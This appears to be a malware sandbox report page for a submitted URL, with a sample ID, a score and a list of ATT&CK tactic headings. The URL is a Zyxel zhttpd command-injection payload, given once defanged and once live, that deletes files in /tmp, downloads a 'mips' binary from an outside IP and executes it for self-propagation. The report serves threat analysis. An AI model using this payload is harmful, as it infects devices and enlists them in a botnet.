hxxp://38[.]67[.]1[.]88[:]443/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}hxxp://103[.]110[.]33[.]164/mips;${IFS}chmod${IFS}777${IFS}mips;${IFS}[.]/mips${IFS}zyxel[.]selfrep;

General

Target

http://38.67.1.88:443/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://103.110.33.164/mips;${IFS}chmod${IFS}777${IFS}mips;${IFS}./mips${IFS}zyxel.selfrep;
Sample

231102-ytvmbsgg23

Score

1^/10

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact